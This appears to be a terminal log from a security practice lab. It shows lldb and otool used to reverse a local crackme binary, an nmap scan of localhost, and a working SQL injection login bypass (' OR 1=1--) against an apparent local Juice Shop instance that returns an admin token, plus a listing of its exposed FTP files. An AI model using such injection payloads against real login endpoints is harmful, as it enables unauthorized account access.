(lldb) breakpoint set -n strcmp
(lldb) continue
stop reason = breakpoint 2.1
_platform_strcmp$VARIANT$Base
(lldb) register read x0 x1
x0 = 0x000000016fdfd0a8
x1 = 0x000000010000059d "hunter2"
$ nmap -sV -p 3000 127.0.0.1
Nmap scan report for localhost
Host is up (0.000049s latency).
PORT STATE SERVICE
3000/tcp open ppp?
$ otool -tv re/bin/crackme2
ldrsb w8, [x8, x9]
mov w9, #0x5a
eor w8, w8, w9
ldr x10, [sp, #0x18]
adrp x9, 0
add x9, x9, #0x66c
ldrb w9, [x9, x10]
subs w8, w8, w9
b.eq 0x1000005b0
$ curl localhost:3000/rest/user/login \
-d "{\"email\":\"' OR 1=1--\", ...}"
{"authentication":{
"umail":"admin@juice-sh.op",
"token":"eyJ0eXAiOiJKV1QiLCJhbGci"
}}
$ strings re/bin/crackme2
license key:
invalid
valid
$ echo KX92-QT7A | re/bin/crackme2
license key: invalid
$ curl -H 'Accept: application/json' \
localhost:3000/ftp
quarantine
acquisitions.md
announcement_encrypted.md
eastere.gg
encrypt.pyc
incident-support.kdbx
legal.md
suspicious_errors.yml